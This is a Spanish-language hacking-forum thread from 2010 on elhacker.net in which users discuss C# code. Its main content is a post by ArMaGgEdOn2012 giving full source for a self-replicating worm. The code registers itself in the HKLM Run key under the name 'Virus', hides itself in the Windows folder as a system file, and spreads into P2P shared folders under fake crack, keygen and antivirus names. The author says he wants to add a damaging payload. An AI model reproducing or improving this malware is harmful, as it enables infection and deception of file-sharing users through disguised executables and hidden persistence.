elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Mi Pequeño Programa
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Mi Pequeño Programa  (Leído 6,844 veces)
junxcosio

Desconectado Desconectado

Mensajes: 9


Ver Perfil
Re: Mi Pequeño Programa
« Respuesta #10 en: 17 Enero 2010, 10:33 am »

Esta bien... lo unico como ya te han dicho demasiados if que hacen lo mismo mas o menos...
Código
  1. string[] path={aqui pones todas tus rutas}
  2. for (int i=0;i<path.length;i++)
  3. {
  4.       if (File.Exists(path[i]))
  5.       {
  6.             File.Copy(path[1], path[i]);
  7.       }
  8. }
  9.  

y el tema goto GOTOAAAA; puffffffffffff chungo en mi opinion... el tema de los goto quitalo... aunque sea muy comodo busca otra manera con bucles... con funciones... con lo que sea menos goto...


« Última modificación: 17 Enero 2010, 10:36 am por junxcosio » En línea

"Si se puede imaginar, se puede programar..."
ArMaGgEdOn2012

Desconectado Desconectado

Mensajes: 4


Ver Perfil
Re: Mi Pequeño Programa
« Respuesta #11 en: 20 Enero 2010, 19:20 pm »

Bueno, otro código.
Esta vez se copia en las mismas carpetas, con nombres aleatorios.
Tambien se inicia con el pc
En fin
Código
  1. /**********************************************************************************************************************/
  2. /*                                                                                                                    */
  3. /* Pequeño ejemplo de programa autocopiable, que se inicia con el PC, y que se copia a carpetas P2P y a la de Windows */
  4. /*                                                                                                                    */
  5. /*                      Posee un pequeño trozo de código de generador de nombres "aleatorios"                         */
  6. /*                                                                                                                    */
  7. /*           Estoy intentando añadir algo que realmente cause daño (no estoy intentando ponerlo en práctica)          */
  8. /*                                                                                                                    */
  9. /*                          CopyRight 2010 ArMaGgEdOn2012 (Pendiente de Patente xDxD)                                 */
  10. /*                                                                                                                    */
  11. /*           PosData: La violación del CopyRight puede generar encontronazos inesperados con la SGAE                  */
  12. /*                                                                                                                    */
  13. /**********************************************************************************************************************/
  14.  
  15. using System;
  16. using System.Collections.Generic;
  17. using System.ComponentModel;
  18. using System.Data;
  19. using System.Drawing;
  20. using System.Text;
  21. using System.Windows.Forms;
  22. using System.IO;
  23.  
  24. namespace WindowsApplication1
  25. {
  26.    public partial class Form1 : Form
  27.    {
  28.        public Form1()
  29.        {
  30.            InitializeComponent();
  31.        }
  32.  
  33.        private void Form1_Load(object sender, EventArgs e)
  34.        {
  35.     //  Ver Abajo
  36.             Metodos.Copiar();  
  37.        }
  38.    }
  39.  
  40.    class Metodos
  41.    {
  42.        static public void Copiar()
  43.        {
  44.            string[] Paths =
  45.                {
  46.                    @"C:\Windows\mswbootser.exe",
  47.  
  48.    // ^ Esto es modificable
  49.    // v Rutas de descargas de los programas P2P
  50.  
  51.                    @"C:\Program Files\Grokster\My Grokster\",
  52.                    @"C:\Program Files\Morpheus\My Shared Folder\",
  53.                    @"C:\Program Files\ICQ\shared files\",
  54.                    @"C:\Program Files\KaZaA\My Shared Folder\",
  55.                    @"C:\Program Files\KaZaA Lite\My Shared Folder\",
  56.                    @"C:\Program Files\EDONKEY2000\incoming\",
  57.                    @"C:\Program Files\eMule\Incoming\",
  58.                    @"C:\Program Files\Filetopia3\Files\",
  59.                    @"C:\Program Files\appleJuice\incoming\",
  60.                    @"C:\Program Files\Gnucleus\Downloads\",
  61.                    @"C:\Program Files\LimeWire\Shared\",
  62.                    @"C:\Program Files\Overnet\incoming\",
  63.                    @"C:\Program Files\Shareaza\Downloads\",
  64.                    @"C:\Program Files\Swaptor\Download\",
  65.                    @"C:\Program Files\WinMX\My Shared Folder\",
  66.                    @"C:\Program Files\Tesla\Files\",
  67.                    @"C:\Program Files\XoloX\Downloads\",
  68.                    @"C:\Program Files\Rapigator\Share\",
  69.                    @"C:\Program Files\KMD\My Shared Folder\",
  70.                    @"C:\Program Files\BearShare\Shared\",
  71.                    @"C:\Program Files\Direct Connect\Received Files\",
  72.                    @"C:\Program Files\Ares\My Shared Folder\"
  73.                };
  74.  
  75.            string RPath = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
  76.            Microsoft.Win32.RegistryKey key;
  77.            key = Microsoft.Win32.Registry.LocalMachine.CreateSubKey(RPath);
  78.            key.SetValue("Virus", Paths[0]);
  79.  
  80.    // ^ Crea una entrada en el registro para iniciarse con el ordenador (Con el nombre Virus xDxDxD)
  81.    // v Esto comprueba que el programa no esté ya en el ordenador
  82.  
  83.            if (!File.Exists(Paths[0]))
  84.            {
  85.                File.Move(Application.ExecutablePath, Paths[0]);
  86.                File.SetAttributes(Paths[0], FileAttributes.System);
  87.                File.SetAttributes(Paths[0], FileAttributes.ReadOnly);
  88.                File.SetAttributes(Paths[0], FileAttributes.Hidden);
  89.            }
  90.  
  91.    // v Esto copia el archivo en todas las carpetas antes mencionadas
  92.  
  93.    for (int i = 1;i < Paths.Length;i++)
  94.            {
  95.                if (Directory.Exists(Paths[i]))
  96.                {
  97.                    string path = Paths[i] + GeneradorDeNombresAleatorios();
  98.                    File.Copy(Paths[0], path);
  99.                    File.SetAttributes(path, FileAttributes.System);
  100.                    File.SetAttributes(path, FileAttributes.ReadOnly);
  101.                    File.SetAttributes(path, FileAttributes.Hidden);
  102.                }
  103.                i++;
  104.            }
  105.        }
  106.  
  107.        static public string GeneradorDeNombresAleatorios()
  108.        {
  109.  
  110.    /*************************************************************************/
  111.    /**/                                                                   /**/
  112. /*           El Increíble generador de nombres aleatorios                */
  113. /**/                                                                   /**/
  114. /*          CopyRight 2010 ArMaGgEdOn2012 (Estaba de broma)              */
  115.        /**/                                                                   /**/
  116. /*         Elige pseudo - aleatoriamente una matriz de éstas             */
  117. /**/                                                                   /**/
  118. /* Después, un nombre de la lista seleccionada (pseudo - aleatoriamente) */
  119. /**/                                                                   /**/
  120. /*             No probé que generase todos los nombres                   */
  121. /**/                                                                   /**/
  122. /*   PosData: Puede causar daños irreversibles (No te dejarán peor XD)   */
  123. /**/                                                                   /**/
  124. /*************************************************************************/
  125.  
  126.            string[] Nombre1Cracks =
  127.                {
  128.                   "Kaspersky2010",
  129.                   "WinRAR38",
  130.                   "WinZIP7",
  131.                   "WinRAR37",
  132.                   "WRAR37",
  133.                   "WRAR38",
  134.                   "AVIRA8",
  135.                   "AVIRA7",
  136.                   "Kaspersky2009",
  137.                };
  138.  
  139.            string[] Nombre1Free =
  140.                {
  141.                    "WindowsMediaPlayer11",
  142.                    "WMPlayer11",
  143.                    "JohnTheRipper",
  144.                    "JohnRipper",
  145.                    "ODBG",
  146.                    "OllyDBG",
  147.                };
  148.  
  149.            string[] Nombre1CracksAndOrSerials =
  150.                {
  151.                    "ESETNod32Antivirus2010",
  152.                    "ESETN32AV2010",
  153.                    "Norton2009",
  154.                    "Norton2010",
  155.                    "WinCHM",
  156.                    "Nero7",
  157.                    "Nero8",
  158.                    "Nero9",
  159.                    "WindowsVista",
  160.                    "WindowsVistaUltimate",
  161.                    "WindowsVistaHEdition",
  162.                    "WVista",
  163.                    "WXP",
  164.                    "WindowsXP",
  165.                    "Windows7",
  166.                    "W7",
  167.                    "Win7",
  168.                    "WinXP",
  169.                    "WinVista"
  170.                };
  171.  
  172.            Random random = new Random();
  173.            string Primero = "";
  174.            int AA = random.Next(0, 3);
  175.            switch (AA)
  176.            {
  177.                case 0:
  178.                    Random random2A = new Random();
  179.                    int random21A = random2A.Next(0, 9);
  180.                    Primero = Nombre1Cracks[random21A];
  181.                    return GeneradorDeNombresDeProgramasDePago(Primero);
  182.  
  183.                case 1:
  184.                    Random random2B = new Random();
  185.                    int random21B = random2B.Next(0, 6);
  186.                    Primero = Nombre1Free[random21B];
  187.                    return Primero + "Setup.exe";
  188.  
  189.                case 2:
  190.                    Random random2C = new Random();
  191.                    int random21C = random2C.Next(0, 19);
  192.                    Primero = Nombre1CracksAndOrSerials[random21C];
  193.                    return GeneradorDeNombresDeProgramasDePago(Primero);
  194.            }
  195.            return "";
  196.        }
  197.        static public string GeneradorDeNombresDeProgramasDePago(string Primero)
  198.        {
  199.    /*********************************************************************************************************/
  200.    /*                                                                                                       */
  201.    /* Esta es la segunda parte, donde genera los nombres como 'Crack', 'Setup', 'Keygen' o simplemente nada */
  202.    /*                                                                                                       */
  203.    /*                          En esta parte no estuve muy sobrado de ideas                                 */
  204.    /*                                                                                                       */
  205.    /*********************************************************************************************************/
  206.            string[] Nombre2Despues =
  207.                {
  208.                    "Crack",
  209.                    "Keygen",
  210.                    "",
  211.                    "Setup"
  212.                };
  213.  
  214.            string[] Nombre2Antes =
  215.                {
  216.                    "Crack",
  217.                    "Keygen",
  218.                    ""
  219.                };
  220.  
  221.  
  222.            Random random3 = new Random();
  223.            string Segundo;
  224.            int BB = random3.Next(0, 2);
  225.            switch (BB)
  226.            {
  227.                case 0:
  228.                    Random random4A = new Random();
  229.                    int random41A = random4A.Next(0, 4);
  230.                    Segundo = Nombre2Antes[random41A];
  231.                    return Segundo + Primero + ".exe";
  232.  
  233.                case 1:
  234.                    Random random4B = new Random();
  235.                    int random41B = random4B.Next(0, 3);
  236.                    Segundo = Nombre2Despues[random41B];
  237.                    return Primero + Segundo + ".exe";
  238.            }
  239.            return "";
  240.        }
  241.    }
  242. }

PD: Los comentarios dan un poco de pena, fallo mío


En línea

DragonFire


Desconectado Desconectado

Mensajes: 848



Ver Perfil WWW
Re: Mi Pequeño Programa
« Respuesta #12 en: 30 Enero 2010, 19:32 pm »

Gracias. Me lo apunto para el siguiente.
Lo que no entiendo (entiendo parcialmente) es el bucle for, pues el while lo entiendo.
Aparte, también tuve que echarle algo de imaginación, pues no existen claros ejemplos de virus en c#


¿un que?
JAJAJAJA ya me imagino el resultado de un virus programado en C#, el pobre virus no podria infectar a nadie que no tenga el framework de .net
En línea

raul338


Desconectado Desconectado

Mensajes: 2.633


La sonrisa es la mejor forma de afrontar las cosas


Ver Perfil WWW
Re: Mi Pequeño Programa
« Respuesta #13 en: 30 Enero 2010, 20:10 pm »

a partir de windows xp sp2 ya viene el .net framework 1.1, en vista el 2.0, y en seven el 3.5 :silbar: asi que..... por que no :P
En línea

Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda con pequeño detalle en programa de busqueda en un arreglo
Programación C/C++
johnnyBsc17 2 2,430 Último mensaje 17 Octubre 2011, 06:24 am
por _niu
Cosa rarísima sucede al ejecutar mi pequeño programa
Programación C/C++
FMLTGRD 5 2,782 Último mensaje 29 Noviembre 2014, 21:14 pm
por FMLTGRD
[AYUDA] Pequeño programa de notas « 1 2 »
Java
reeyesg 16 5,916 Último mensaje 6 Mayo 2015, 19:11 pm
por PabloPbl
Pequeño programa para estadisticas deportivas
Programación General
crazykenny 0 2,053 Último mensaje 3 Enero 2019, 19:23 pm
por crazykenny
Pequeño programa en python de desglose
Scripting
reconFito 0 3,042 Último mensaje 19 Diciembre 2019, 04:55 am
por reconFito
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines